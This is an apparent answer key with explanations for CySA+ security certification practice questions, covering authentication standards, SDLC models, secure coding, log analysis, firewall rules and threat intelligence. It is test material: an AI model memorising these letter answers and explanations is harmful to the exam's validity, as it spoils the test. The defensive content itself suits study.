B. SAML provides all of the capabilities Amira is looking for. Unlike SAML, OAuth is an authorization standard, not an authentication standard. LDAP provides a director and can be used for authentication but would need additional tools to be used as described. Finally, OpenID connect is an authentication layer on top of OAuth, which is an authorization framework. Together, they would also meet the needs described here, but individually they do not.

A. Nathaniel should use an attribute-based access control (ABAC) scheme that can take into account things like the resource attributes described here. Role-based access control (RBAC) would not meet this need since it only takes into account roles in the organization, not attributes. Mandatory access controls (MACs) are enforced by the operating system, whereas discretionary access controls (DACs) are delegated to users.

B. Atomic execution requires that a process complete the action that it is taking before another process or task can read or write to the memory location that it is using. In general, the term atomic means that the transaction is indivisible and must complete. Trusted execution environments are part of a processor that are designed to protect confidentiality and integrity. Anti-tampering techniques help protect chips from being reverse- engineered or modified while in use, and bus encryption protects data in transit on a bus like those found between CPUs and drives or other devices in a system.

B. The Windows Event Viewer is a built-in tool for Windows systems that can be used to view application, security, setup, system, and other events and logs. Secpol.msc is the Local Security Policy snap-in, and logview.msc is not a built-in Windows tool or a snap-in.

C. SQL injection is regularly rated as one of the top web application vulnerabilities, and parameterizing queries is an important way to help prevent it. Parameterized queries, or prepared statements, require developers to define the SQL code they will use, then pass in each parameter to the query. This prevents attackers from changing the intent of the query and allows the query to be used only as intended if properly implemented.

D. Linux syslogs can be sent as UDP or TCP, although some syslog tools like rsyslog implement additional protocols. Isaac knows that TCP handles errors and will retransmit packets if something goes wrong, whereas UDP will merely send the data regardless of what occurs—it is faster and uses fewer resources but doesn't meet his needs. HTTP and HTTPS are not Linux syslog protocols.

B. A TLS VPN (sometimes called an SSL/TLS VPN) is typically the chosen solution when application filtering is required. Since TLS VPNs operate at the session layer, they can make decisions based on users and groups, as well as specific commands, application content, or URLs. IKE and X.509 are underlying technologies for encryption and are not types of VPNs, whereas IPsSec is a type of VPN but not the best choice for this purpose. IPsec VPNs can support all IP application and simply appear to be an IP network.

B. Output encoding is frequently used to prevent cross-site scripting (XSS) attacks by replacing potentially dangerous characters in previously input user data with harmless equivalents.

A. Of the options provided, level 1, KERN_ALERT, is the most severe. Level 0, or KERN_EMERG, is the most severe kernel log level. You may not always know the specific details of technical question. In this case, you should read through the options and narrow down which selections you should use. It is unlikely that a mid-range level would be the most severe, thus allowing you to rule out level 2 and level 4. You are then left with ALERT and DEBUG. Debugging tends to be noisy with full data, which should lead you to select option A, KERN_ALERT.

C. The Agile method is heavily driven by user stories and customer involvement. Sprints deliver functional code, meaning that some elements of the product may be ready early.

B. Spiral places a heavy emphasis on risk assessment and improves from Waterfall by repeating the identification/design/build/evaluation process. This will handle both the complexity that Scott is aware will be involved as well as the late addition of design requirements.

C. The disposition phase of SDLC addresses what occurs when a product or system reaches the end of its life. Scott will need to decommission systems and services, identify what will happen to data and other artifacts, and make other decisions before the system can be shut down.

A. Trusted foundries are part of a U.S. government program to ensure secure, available ICs for the defense industry. Sofía will need to use other protective measures like those listed to ensure that her company's product will resist reverse-engineering techniques.

B. A wildcard certificate can be used for multiple subdomains of a domain. Thus, any site with .comptia.org as the domain can use this certificate.

C. REST (Representational State Transfer) is an architectural style that focuses on web services that are stateless, cacheable, and provide a uniform interface. RESTful services send typically JSON messages to a web server, requiring less bandwidth while supporting multiple data formats and relying on HTTP-based commands. Waterfall is a development style, and SOAP relies on XML and does not support multiple formats, thus requiring more bandwidth in most circumstances.

D. Session IDs should be associated with information needed by the application like userID, client IP address, session timeout and session start time information, or other details on the server side, typically in a session management database or repository. If the session ID had this information encoded in it, it could be reverse engineered and decoded, possibly resulting in data leakage. Complex session IDs are not a processing concern, unless there is sensitive information covered by law (which isn't listed in the question) and then legal limitations would not apply. Session IDs are sent to the application and user whose session they belong to, so they would not breach data simply by being sent.

C. Detection systems placed in otherwise unused network space will detect scans that blindly traverse IP ranges. Since no public services are listed, attackers who scan this range can be presumed to be hostile and are often immediately blocked by security devices that protect production systems.

B. Input validation involves a variety of techniques, including checking the minimum and maximum range for numeric input, checking the length of input strings, removing special characters, and providing limited options for drop-down menus and other strings.

D. This regular expression will match all U.S. state abbreviations. Even if you're not familiar with regular expressions, you may be asked to read unfamiliar code and determine what function it is performing. Here, reading the list should give you a good clue based on the two-letter pairings.

B. Adam knows that TCP/80 is the normal port for unencrypted HTTP traffic. As soon as he sees the traffic, he should immediately check if the traffic is unencrypted. If it is, his first recommendation will likely be to switch to TLS encrypted traffic. Once that is complete, he can worry about whether data is encrypted at rest and if usernames and passwords are passed as part of the traffic, which might be acceptable if it was protected with TLS!

B. Digitally signing firmware and requiring new firmware to have the right digital signature can help Nick's organization prevent untrusted firmware from being installed. Encrypting the firmware can help keep the contents of the firmware package confidential but won't prevent unauthorized firmware from being installed. Binary firmware merely describes a type of encoding.

C. A web server and a web browser are a form of client-server platform. Embedded systems are a combination of hardware and software inside a larger system. Firmware is a type of software that provides low-level functions for a computer or device. An SOC (system on chip) is a complete system on a single chip.

D. The use of proprietary protocols is typically the least concerning of these. Attackers are more likely to be familiar with common protocols and standards, and attack tools are more likely to exist for those common standards. Lara is likely to note that embedded systems often suffer from a lack of updates once deployed and that updates can be difficult to deploy. This is a particular concern because embedded systems often have very long lifespans once they are in place. Many embedded systems are also designed and deployed with the assumption that they will be placed on a secure, isolated network, which may not always be the case.

C. Password reuse is a bad idea in most cases, and reusing passwords will not do anything to slow down or reduce the effectiveness of brute-force attacks. Multifactor authentication, if properly implemented, can stop almost all brute-force attacks. Account lockouts are useful because they delay brute-force attacks or can stop them entirely if the lockout requires user intervention. CAPTCHAs add a layer of complexity for attackers and often require human intervention, which can make it difficult to conduct a brute-force attack.

B. Secure Boot is a process that computes a cryptographic hash of the operating system, boot loader, and boot drivers. Manual boot hash comparison and bootsec were made up for this question, whereas a Trusted Platform Module (TPM) chip is a security chip that enables services like Secure Boot and remote attestation.

C. Fuzzers are tools that send unexpected input, testing whether an application can handle data that does not match what it expects. User acceptance testing (UAT) is a type of testing that helps to ensure that users can properly use a tool and that it performs the functions they expect. A stress testing tool typically puts very high loads onto an infrastructure or application to see how it performs when stressed. Regression testing is done to ensure that old flaws are not reintroduced to an application.

C. Storing passwords in an encrypted form may be necessary in some special cases, but the best practice for the great majority of password use cases is to store a salted hash with an appropriate work factor (how many times the hashing algorithm is used). This makes computing the hash more computationally expensive, and thus harder for attackers to do to create a database of possible hashed passwords. Combined with salting, this makes creating rainbow tables prohibitively complex.

B. Of the listed options, only bcrypt is considered a modern password hashing algorithm. If Kristen didn't have the option to use bcrypt, her best bet from the list provided would be SHA-512. She would then need to use a salt and a pepper, and use a large number of iterations of the algorithm to provide the best protection that she could. You can read more about recommendations like these at owasp.org/www-project-cheat-sheets/cheatsheets/Password_Storage_Cheat_Sheet.html.

C. Software as a service (SaaS) vendors provide a service, rather than infrastructure, which means that Liam would not be able to install a full disk or column-level encryption tool. SaaS vendors will not allow customer-hired third-party auditors into their environments in most cases since they are shared environments. Liam's best bet is to select a service that provides encryption at rest as part of their service.

B. Software-defined networking (SDN) is designed to handle changing traffic patterns and use of data to drive network configurations, routing, and optimization efforts. Faraj's best option is to use a software-defined network. Serverless is a technology that runs compute runtimes rather than a network, and a VPN is used to connect networks or systems together via a private channel.

D. Serverless environments are a shared service, and since there is not a system that is accessible to consumers, there is nowhere to install endpoint tools. Similarly, network IPSs cannot be placed in front of a shared resource. Elaine should also be aware that any flaw with the underlying serverless environment will likely impact all of the service hosting systems.

C. The first three steps of a Fagan inspection are preparatory, including planning, overview and assignment of roles, and the preparation for the meeting, including review of the item and supporting materials. Actual identification of the defect occurs during the inspection meeting. If you're not familiar with Fagan inspection, you can rule out overview and preparation as well as rework by considering what the likely actions are associated with each phase's title.

B. Validating the output will not prevent SQL injection from occurring. Using prepared statements with parameterized queries, stored procedures, escaping all user-supplied input, whitelisting input validation, and applying least privilege to the application and database accounts are all useful techniques to prevent successful SQL injection.

C. Unvalidated parameters in a SQL query are likely to allow SQL injection attacks. An attacker could inject arbitrary SQL code into that parameter, thus gaining additional access to the database and the data stored in it.

B. The identity provider asserts to the service provider that the user is a valid user, and thus, that they are who they claim to be. The service provider then determines what rights the user has based on that identity. The process does not need to assert who it is, nor is the user's password provided to the SP.

C. eFuses can be used to track firmware versions, with an increasing number of fuses burned as each new revision is installed. The hardware checks the number of fuses associated with a given firmware package, and if more are burnt than match that package, it will not be accepted.

A. Security screws are a form of anti-tampering control, and they are intended to prevent unauthorized individuals from accessing hardware.

C. The U.S. Department of Defense Trusted Foundry program is overseen by the DMEA (Defense Microelectronics Activity). It provides an assured chain of custody for ICs, oversees the supply chain to prevent disruptions, works to prevent ICs from being modified or tampered with, and works to prevent the ICs from being reverse engineered or evaluated.

C. Michelle knows that a self-encrypting drive uses a data encryption key (DEK) to encrypt and decrypt the drive, and that data is encrypted as it is written and decrypted when it is read. This means she will need to access a live machine with the appropriate key in use to capture the data she wants.

B. Processor security extensions are on-chip implementations of security features. Various chip manufacturers use different terms like Intel's Software Guard Extensions (SGX), ARM's TrustZone Security Extensions, and others found across the industry.

D. A significant advantage of TLS-based VPNs is the ability to be clientless. IPsec VPNs protect IP packets between locations, whereas TLS (sometimes still called SSL) VPNs protect application traffic streams. That key difference can be part of the decision about what type of VPN technology to use.

B. Segmentation is typically used to decrease the number of systems in a network segment, rather than to increase it. Segmentation is often used to decrease an organization's attack surface by moving systems that don't need to be exposed to a protected segment. It can also be used to limit compliance impact by removing systems from a compliance zone that do not need to be part of it. Finally, limiting the number of systems or devices in segment or keeping potentially problematic systems in an isolated network segment can help increase availability.

C. Kubernetes and Docker are both examples of containerization tools.

D. Nathan's best option is to send the logs to a remote server. The server should be protected to ensure that the same exploits that might compromise other systems will not impact the secure log storage server or service. In many organizations, a SIEM device or security logging tool like ELK or Splunk may be used to store and work with these logs.

B. Once your private key has been exposed, your only option is to remove the keypair from use and to replace it wherever it is in use. If the SSH keys are used to control infrastructure or a cloud service and they are uploaded to a public site, there is a good chance they will be found and exploited very quickly. The authors of this book have seen keys that were exposed and used in less than 20 minutes from the time they were uploaded!

A. Although most testing occurs in the testing and integration phase of the software development life cycle, unit testing is often performed as part of the development phase to ensure that components of the code work properly. User acceptance testing (UAT), fuzzing, and stress testing all typically occur as part of a more formal testing phase.

B. The Spiral methodology uses a linear development process with an iterative process that revisits the four phases multiple times. Those four phases are identification, design, build, and evaluation. Agile processes use user stories, so you can rule both of those options out. Spiral doesn't rely on that concept. Option C is also a bad option; note the lack of a testing phase.

C. The key reason that the term DevSecOps has entered common use is the need to integrate security into the application life cycle.

C. The feasibility phase of a project like this looks into whether the project should occur and also looks for alternative solutions as well as the costs for each solution proposed.

C. Although it may seem like code analysis and unit testing should occur in the testing and integration phase, remember that unit testing occurs on individual program components, which means it will occur as the code is written. The same holds true for code analysis, and thus, the first time this happens will be in the coding stage.

B. Before an application can enter ongoing operations and maintenance, users must be trained and the application must be transitioned to the team that will maintain it for its life cycle. Disposition occurs when a product or system hits the end of its life cycle. Unit testing is often part of the coding phase. Testing and integration occur just before training and transition (point D).

D. OpenID, SAML, and OAuth are all commonly used protocols for federated identity. Ansel will need to better understand what the use cases for federated identity are in his environment and which organizations he will federate with before he chooses a protocol to implement, and may eventually need to support more than one.

Answers to Chapter 3: Domain 3.0: Security Operations and Monitoring

B. Sites like VirusTotal run multiple antimalware engines, which may use different names for malware packages. This can result in a malware package apparently matching multiple different infections.

B. The Windows Performance Monitor provides a live view of memory usage per running application or service. This can be useful for live memory analysis. MemCheck and WinMem were made up for this question, and top is a useful Linux tool for checking memory utilization. If you aren't familiar with tools like this, you may want to spend some time with Windows and Linux common command cheat sheets like the Linux sheet found at www.linuxtrainingacademy.com/linux-commands-cheat-sheet/.

C. The Windows Resource Monitor application is a useful tool to both see real-time data and graph it over time, allowing Abul to watch for spikes and drops in usage that may indicate abnormal behavior.

C. Binary diffing looks at multiple potentially related binaries that have anti-reverse-engineering tools run on them and looks for similarities. Graphs map this data, helping the tool identify malware families despite the protections that malware authors bake in. As you might have guessed, the rest of the answers for this question were made up.

C. Threat intelligence feeds may be used to build rules, however unlike option B, threat feeds typically aren't used to build rules in real time for firewall devices. Firewalls typically do not analyze their own logs and build STIX feed entries, nor do they know about threat actor names, resources, and threat levels.

B. PowerShell, wmic, and winrm.vbs are all commonly used for remote execution of code or scripts, and finding them in use on a typical workstation should cause you to be worried as most users will never use any of the three.

A. Most common HTTP traffic will go to port 80, and HTTPS traffic will go to 443. The third most common port for web traffic is 8080, and would be a reasonable if significantly less common option. While other ports may be in use, if you aren't expecting traffic to nonstandard HTTP and HTTPS ports you may want to investigate the traffic.

C. Availability analysis targets whether a system or service is working as expected. Although a SIEM may not have direct availability analysis capabilities, reporting on when logs or other data is not received from source systems can help detect outages. Ideally, Lucy's organization should be using a system monitoring tool that can alarm on availability issues as well as common system problems like excessive memory, network, disk, or CPU usage.

C. When faced with massive numbers of notification messages that are sent too aggressively, administrators are likely to ignore or filter the alerts. Once they do, they are unlikely to respond to actual issues, causing all of the advantages of monitoring to be lost. If she doesn't spend some time identifying reasonable notification thresholds and frequencies, Lucy's next conversation is likely to be with an angry system administrator or manager.

D. Lucy has configured a behavior-based detection. It is likely that a reasonable percentage of the detections will be legitimate travel for users who typically do not leave the country, but pairing this behavioral detection with other behavioral or anomaly detections can help determine if the login is legitimate or not.

D. Disabling unneeded or risky services is an example of a strategy to reduce the attack surface area of a system or device. Threat modeling and proactive risk assessment are both activities that focus on preparation, rather than direct systems or technology action, and incident remediation might involve disabling a service, but there isn't enough information to know this for sure. What we do know for sure is that disabling unneeded services reduces the attack surface area for a system.

C. RDP operates over TCP 3389. Most corporate workstations won't have RDP turned on inbound to workstations, and Suki may find that she has discovered a compromise or other behavior that her organization may not want to occur.

B. Windows has support for both DEP (data execution prevention) and ASLR (address space location randomization). These combine to help prevent buffer overflows by preventing items in memory location tagged as data from being executed and by randomizing the memory space Windows uses to make it harder to take advantage of known memory locations with an overflow.

A. Isaac should recommend 802.1x, the standard for port-based network access control. Both DMARC and SPF are email security standards, and 802.3 is the specification for Ethernet, but it isn't a security standard.

C. The auth.log file on Linux systems will capture sudo events. A knowledgeable attacker is likely to erase or modify the auth.log file, so Ian should make sure that the system is sending these events via syslog to a trusted secure host. The sudoers file contains details of which users can use sudo and what rights they have. There is not a file called /var/log/sudo, and root's .bash_log file might contain commands that root has run but won't have details of the sudo event—there's no reason for root to sudo to root!

C. Pete's organization is using an agent-based, out-of-band NAC solution that relies on a locally installed agent to communicate to existing network infrastructure devices about the security state of his system. If Pete's organization used dedicated appliances, it would be an in-band solution, and of course not having an agent installed would make it agentless.

B. Tripwire can monitor files and directories for changes, which means Gabby can use it to monitor for files in a directory that have changed. It will not tell you how often the directory is accessed, who viewed files, or if sensitive data was copied out of the directory.

C. Even if you're not familiar with the PS tools, you can use your knowledge of Windows command line tools to figure out what is happening here. We see a remote workstation (it is highly unlikely you would connect to your own workstation this way!) indicated by the \\ip.address, a -u flag likely to mean userID with administrator listed, and a -p for password. We know that cmd.exe is the Windows command prompt, so it is reasonable and correct to assume that this will open a remote command prompt for interactive use. If this is a user who isn't an administrator, Charlene needs to start an incident investigation right away.

A. TCP port 3306 is a common service port for MySQL. If you are asked to review rules for an IPS, IDS, firewall, or other service and do not know the rule syntax, look for what you do know. Here you can tell direction -> and that the alert would look for traffic from any system on any port to systems in the 10.10.11.0/24 network range on port 3306.

B. User and event or entity behavior analytics (UEBA) captures data about entities and events as well as other security data and performs statistical and other analyses to detect abnormal and unexpected behavior, then alerts administrators so that they can review the information and take appropriate action.

B. Sadiq should place his IPS at point B. The firewall will filter out large amounts of unnecessary traffic, reducing the load on the IPS, and the IPS will see the largest amount of untrusted traffic at this location without de-aligning with the increased load that it would face outside the firewall.

C. SYN floods an attack technique that is used to exhaust session handlers on systems. A flood of SYNs from many different IP addresses without a completed TCP three-way handshake is often a sign of a SYN flood attack.

B. First, Kai should check the scan log to review the scan type and error code to check it via the Microsoft support site. The most likely cause from the list of provided answers is a conflict with another security product. While security practitioners often worry about malware on systems, a common cause of scan failures is a second installed antivirus package. If Kai doesn't find a second antivirus package installed, she should conduct a scan using another tool to see if malware may be the issue.

C. Blacklisting known bad IP addresses, as well as the use of both domain and IP reputation services can help Charles accomplish his task. Whitelisting only allows known addresses through and does not flag known bad addresses.

B. The ps utility lists currently running processes, and aux are a set of flags that control which processes are selected. This output is then piped to grep, and all lines with the text apache2 will be selected. Then that list will be searched for the text root. This type of multiple piping can help quickly process large volumes of files and thousands or millions of lines of text.

C. The most likely scenario in this circumstance is that the headers were forged to make the email appear to come from example.com, but the email was actually sent from mail.demo.com.

A. Port security relies on MAC addresses to filter which systems are allowed to connect to the port, which means that Corbin needs to consider how to prevent MAC spoofing.

D. While SPF and DKIM can help, combining them to limit trusted senders to only a known list and proving that the domain is the domain that is sending the email combine in the form of DMARC to prevent email impersonation when other organizations also DMARC.

D. Email headers contain the message ID, date, to, from, user agent, IP addresses of both the sender and the receiver, and information about the email servers along the path between them. They do not contain a private key.

A. The only error in this rule is the protocol. SMTP does run on port 25, and inbound connections should be accepted from any port and IP address. The destination IP address (10.15.1.1) is correct. However, SMTP uses the TCP transport protocol, not UDP.

B. Chris can correct this error by switching the positions of rules 2 and 3. Rule 3, which permits access from the 10.20.0.0/16 subnet, will never be triggered because any traffic from that subnet also matches rule 2, which blocks it.

D. Rule 4 is correctly designed to allow SSH access from external networks to the server located at 10.15.1.3. The error is not with the firewall rulebase, and Chris should search for other causes.

B. Moving to a NAT environment will make the systems inaccessible from the outside world, massively reducing the organization's attack surface. Installing host firewalls would be a great second step, but could involve significant amounts of work to install and tune the firewalls.

C. The ATT&CK framework defines the attack vector as the specifics behind how the adversary would attack the target. You don't have to memorize ATT&CK to pass the exam, but you should be prepared to encounter questions that you need to narrow down based on what knowledge you do have. Here you can rule out the threat actor and targeting method, and then decide between the attack vector and organizational weakness.

B. Both quarantine networks and captive portals with patch tools and instructions are common solutions to this type of requirement. In this case, placing systems into an isolated quarantine network with access to update and patching sites will meet Manish's needs.

A. Phishing attacks typically target credentials, so Lisa should focus on how to identify what credentials were exposed, how to prevent compromised credentials from causing problems, and how to reduce the likelihood of future successful phishing attacks. At the same time, she will need to monitor for use of the compromised credentials!

C. Session hijacking of insecurely implemented session cookies is the likely result from this type of issue. Matt should spend time with his developers to ensure that they have reviewed resources like the OWASP guides to secure session creation and maintenance.

B. Brute-force attacks rely on the ability to make multiple attempts to log in, access a service, or otherwise allow probes. A back-off algorithm can limit or prevent this by ensuring that only a limited number of attempts are possible before delays or a timed lockout occurs.

A. The Structured Threat Information Expression language (STIX), and TAXII, the protocol used to transfer threat intelligence, are open protocols that have been adopted to allow multiple threat sources to be combined effectively. SAML is Security Assertion Markup Language, OCSP is Online Certificate Status Protocol, and CAB was made up for this question.

B. The thing that a threat actor wants to do is a goal in the STIX 2.0 taxonomy. Since you're unlikely to have memorized the taxonomy, when you encounter a question like this you should rule out what you can. Most questions will have one or more obviously incorrect answers—here that's likely their resource level and their alias. If you only ruled those two out, you'd have a 50 percent chance of getting a question like this right. In this case, you can likely then guess that wanting to steal nuclear research data is a goal and move on with the next question.

C. The ATT&CK framework is focused on network defense and broadly covers threat hunting. CAPEC is focused on application security. CVSS is the Common Vulnerability Scoring System, and Mopar is a parts, service, and customer care organization that is part of Fiat Chrysler.

C. NAC (Network Access Control) can combine user or system authentication with client-based or clientless configuration and profiling capabilities to ensure that systems are properly patched, configured, and are in a desired security state. Whitelisting is used to allow specific systems or applications to work, port security is a MAC address filtering capability, and Extensible Authentication Protocol (EAP) is an authentication protocol.

D. Oracle databases default to TCP port 1521. Traffic from the “outside” system is being denied when it attempts to access an internal system via that port.

C. Packers, or runtime packers, are tools that self-extract when run, making the code harder to reverse-engineer. Crypters may use actual encryption or simply obfuscate the code, making it harder to interpret or read. Protectors are software that is intended to prevent reverse engineering and often include packing and encryption techniques as well as other protective technologies. Shufflers were made up for this question.

B. Testing for common sample and default files is a common tactic for vulnerability scanners. Nara can reasonably presume that her Apache web server was scanned using a vulnerability scanner.

A. Since Andrea is attempting to stop external scans from gathering information about her network topology, the firewall is the best place to stop them. A well-designed ruleset can stop, or at least limit, the amount of network topology information that attackers can collect.

D. Adam's Snort rule is looking for a specific behavior—in this case, web traffic to example.com's download script. Rules looking for anomalies typically require an understanding of “normal,” whereas trend-based rules need to track actions over time and availability-based analysis monitors uptime.

C. Since LOIC can leverage hundreds or thousands of hosts, limiting each connecting host to a connection rate and volume through filters like those provided by the iptables hashlimit plug-in can help. IP-based blacklisting may work for smaller botnets, but it is difficult to maintain for larger attacks and may eventually block legitimate traffic. Dropping all SYN packets would prevent all TCP connections, and route-blocking filters are not a method used to prevent this type of attack. While he's setting up firewall rules, Carlos may also want to investigate a denial-of-service mitigation partner or service in case the attackers move to more advanced methods or do overwhelm his link.

D. While the infection may not cause the business to lose data, there is an effect as systems must be restored and investigation will need to be done to determine if data was lost in addition to being encrypted in place.

D. The uses described for the workstation that Cormac is securing do not require inbound access to the system on any of these ports. Web browsing and Active Directory domain membership traffic can be handled by traffic initiated by the system.

A. For most Windows user workstations, launches of cmd.exe by programs other than Explorer are not typical. This script will identify those launches and will alarm on them.

C. Cormac built a reasonable initial list of operating system versions, but many devices on a modern network will not match this list, causing operating system version mismatch issues with the matching rules he built. He may need to either add broader lists of acceptable operating systems, or his organization may need to upgrade or replace devices that cannot be upgraded to acceptable versions.

B. Henry's implementation is a form of DNS sinkholing, which sends traffic to an alternate address that acts as the sinkhole for traffic that would otherwise go to a known bad domain.

C. Maria can push an updated hosts file to her domain connected systems that will direct traffic intended for known bad domains to the localhost or a safe system. She might want to work with a security analyst or other IT staff member to capture queries sent to that system to track any potentially infected workstations. A DNS sinkhole would only work if all of the systems were using local DNS, and offsite users are likely to have DNS settings set by the local networks they connect to. Antimalware applications may not have an update yet, or may fail to detect the malware, and forcing a BGP update for third-party networks is likely a bad idea.

B. Domain names like those listed are a common sign of a domain generation algorithm (DGA), which creates procedurally generated domain names for malware command and control hosts.

B. The first query will identify times when the reg.exe was launched by cmd.exe. If the same data is searched to correlate with launches of cmd.exe by explorer.exe, Mark will know when registry edits were launched via the command line ( cmd.exe) from Explorer—a process that typically means users have edited the registry, which should be an uncommon event in most organizations and is likely to be a security concern.

C. When a vulnerability exists and a patch has not been released or cannot be installed, compensating controls can provide appropriate protection. In the case of PCI DSS (and other compliance standards), documenting what compensating controls were put in place and making that documentation available is an important step for compliance.

D. Mateo's only sure bet to prevent these services from being accessed is to put a network firewall in front of them. Many appliances enable services by default, since they are appliances they may not have host firewalls available to enable. They also often don't have patches available, and many appliances do not allow the services they provide to be disabled or modified.

B. This command uses the -i flag, which means it will ignore the case of the text. That means that grep will search all files with a .txt extension for any occurrences of example, regardless of the case or other letters around it.

C. A data loss prevention (DLP) system may be able to intercept and block unencrypted sensitive information leaving the web server, but it does not apply cryptography to web communications. Transport Layer Security (TLS) is the most direct approach to meeting Pranab's requirement, as it encrypts all communication to and from the web server. Virtual private networks (VPNs) may also be used to encrypt network traffic, adding a layer of security. Full-disk encryption (FDE) may also be used to protect information stored on the server in the event the disk is stolen.

A. The top command provides a real-time view of the memory usage for a system on a per-process basis. The ls command does not work for memory; mem was made up for this question; and memstat is used to check the state of memcached servers, and it won't help in this circumstance. If you're not familiar with basic Linux commands like top, you should spend some time with a Linux system as you prepare for the CySA+ exam. A basic understanding of common commands can be very helpful.

A. Logging of application and server activity may provide valuable evidence during a forensic investigation. The other three controls listed are proactive controls designed to reduce the risk of an incident occurring and are less likely to directly provide information during a forensic investigation.

C. The key requirements here are that this is an existing network and that the systems are BYOD. That means that Latisha should focus on an agentless system to remove the hurdles that agent-based scanning requires and that an out-of-band solution is likely appropriate since they are easier to retrofit to an existing network than an in-line solution, which can require rearchitecting a network to place the in-line NAC device into a central control location. It is important to note that Latisha will likely have less visibility than she would have with an agent-based system.

A. Group Policy Objects (GPOs) are used to enforce security and configuration requirements within Active Directory. Active Directory forests and organizational units (OUs) are designed to organize systems and users hierarchically and do not directly allow security configurations, although GPOs may be applied to them. Domain controllers (DCs) are the servers that are responsible for providing Active Directory Domain Services to the organization and would be the point for applying and enforcing the GPO.

A. Secure/Multipurpose Internet Mail Extensions (S/MIME) is standard for encryption and signing that has been implemented for many email platforms. If his email client and the recipient's email client both support it, Eric can digitally sign his email to prove that he sent it and that the content has not been changed.

B. These commands will add filters to the INPUT ruleset that block traffic specifically from hosts A and B, while allowing only port 25 from host C. Option D might appear attractive but allows all traffic instead of only SMTP. Option A only drops SMTP traffic from host B (and all of the other hosts in its /24 segment), whereas option C allows traffic in from the hosts we want to block.

A. Adding an iptables entry uses the -A flag to add to a list. Here, we can safely assume that OUTPUT is the outbound ruleset. The -d flag is used to designate the IP address or subnet range, and -j specifies the action, DROP.

D. This view of htop shows both CPU1 and CPU2 are maxed out at 100 percent. Memory is just over 60 percent used. Almost all swap space is available.

B. The top command will show a dynamic, real-time list of running processes. If Amanda runs this, she will immediately see that two processes are consuming 99 percent of a CPU each and can see the command that ran the program.

D. The kill command is used to end processes in Linux. Amanda should issue the kill -9 command followed by the process ID of the processes she wants to end (the -9 flag is the signal, and means “really try hard to kill this process”). Since she has run both top and htop, she knows that she needs to end processes 3843 and 3820 to stop stress from consuming all her resources. A little research after that will show her that stress is a stress testing application, so she may want to ask the user who ran it why they were using it if it wasn't part of their job.

A. MAC address spoofing or cloning will allow a system to easily bypass port security because port security only relies on MAC address verification to decide which systems can connect to a given network port.

B. By default, an iptables firewall will have INPUT, OUTPUT, and FORWARD chains. Piper should use the DROP command on all three to stop all traffic to or from a machine.

B. Syd has added an entry to the hosts file that routes all traffic for example.com to her local address. This is a useful technique to prevent a system from contacting a malicious host or domain, or to simply prevent a nontechnical user from visiting specific sites or domains.

B. John has discovered a program that is both accepting connections and has an open connection, neither of which are typical for the Minesweeper game. Attackers often disguise trojans as innocuous applications, so John should follow his organization's incident response plan.

C. Endpoint detection and response (EDR) tools use software agents to monitor endpoint systems and to collect data about processes, user and system activity, and network traffic, which is then sent to a central processing, analysis, and storage system.

C. This command will prevent commands entered at the Bash shell prompt from being logged, as they are all sent to /dev/null. This type of action is one reason that administrative accounts are often logged to remote hosts, preventing malicious insiders or attackers who gain administrative access from hiding their tracks.

D. When an email is forwarded, a new message with a new Message-ID header will be created. The In-Reply-To and References field will also be set as normal. The best option that Charles has is to look for clues like a subject line that reads “FWD”—something that is easily changed.

D. The passwd binary stands out as having recently changed. This may be innocuous, but if Marta believes the machine was compromised, there is a good chance the passwd binary has been replaced with a malicious version. She should check the binary against a known good version, and then follow her incident response process if it doesn't match.

B. Scheduled tasks, service creation, and autostart registry keys are all commonly found on Windows systems for legitimate purposes. Replacing services is far less common unless a known upgrade or patch has occurred.

B. Even if you don't recognize the Windows Event ID, this query provides a number of useful clues. First, it has an interval of four hours, so you know a timeframe. Next, it lists data.login.user, which means you are likely querying user logins. Finally, it includes machine count, and >1, so you can determine that it is looking for more than one system that has been logged in to. Taken together, this means that the query looks for users who have logged in to more than one machine within any given four-hour period. Matt may want to tune this to a shorter time period, because false positives may result for technical support staff, but since most users won't log in to more than one machine, this could be a very useful threat-hunting query.

D. The strings command extracts strings of printable characters from files, allowing Ben to quickly determine the contents of files. Grep would require knowing what he is looking for, and both more and less will simply display the file, which is often not a useful strategy for binaries.

D. DNS sinkholes can block many types of drive-by downloads by preventing systems from connecting to malicious sites. DNS sinkholes do have limitations: they only work when a DNS query occurs, which means that some malware uses IP addresses directly to avoid them. They also can't stop malware from being executed, and of course malware could use a hard-coded DNS server instead of the organization's DNS server.

D. The service running from the www directory as the user apache should be an immediate indication of something strange, and the use of webmin from that directory should also be a strong indicator of something wrong. Lucas should focus on the web server for the point of entry to the system and should review any files that the apache user has created or modified. If local vulnerabilities existed when this compromise occurred, the attacker may have already escalated to another account.

A. SCAP (Security Content Automation Protocol) is a set of specifications that define how to exchange security automation content used to assess configuration compliance. It can also be used to detect vulnerable versions of software.

C. Damian has likely encountered an advanced persistent threat (APT). They are characterized as extremely well resourced actors whose compromises typically have an extended dwell time and the ability to scale capabilities to counter defenders over time.

D. Linux and Unix systems typically keep user account information stored in /etc/passwd, and /etc/shadow contains password and account expiration information. Using diff between the two files is not a useful strategy in this scenario.

C. The increasing digit of the IP address of the target system (.6, .7, .8) and the ICMP protocol echo request indicate that this is a ping sweep. This could be part of a port scan, but the only behavior that is shown here is the ping sweep. This is ICMP, and cannot be a three-way handshake, and a traceroute would follow a path, rather than a series of IP addresses.

C. API-based integrations allow a SOAR environment to send queries as required for the data they need. Flat files and CSVs can be useful when there is no API, or when there isn't support for the API in an environment, and real-time integration is not required. Email integrations can result in delays as email delivery is not done at a guaranteed speed and can require additional parsing and processing to extract information. Although it isn't in the list here, Bruce might consider a direct database connection if he was unable to use an API and wanted real-time data.

D. Although the CySA+ exam includes email signatures in the list of items you may want to analyze, the same techniques are used to analyze the entire body of an email for malicious links and payloads. Header data is often checked against IP reputation databases and other checks that can help limit email from spam domains and known malicious senders. Signature blocks, however, are not typically a primary analysis tool.

C. TCP port 22 indicates that this is most likely an SSH scan, and the single packet with no response traffic indicates unsuccessful connection attempts. If the system is not normally used for scanning for open SSH servers, Alice should look into why it is behaving this way.

C. Debuggers allow you to control the execution of a program by setting breakpoints, changing input data and variables, and otherwise controlling the execution of the program. Disassemblers and decompilers can provide insight into the code of a binary (either source code or assembly code), whereas an unpacker helps remove compression or encryption used to help obfuscate the code itself.

A. When you use grep with the -i flag, it performs a case-insensitive search. Neither -uc nor -case is a valid flag for this, and the search term comes before the filename, which means grep example.txt cysa+ will attempt to search a file named cysa+ for the example.txt phrase.

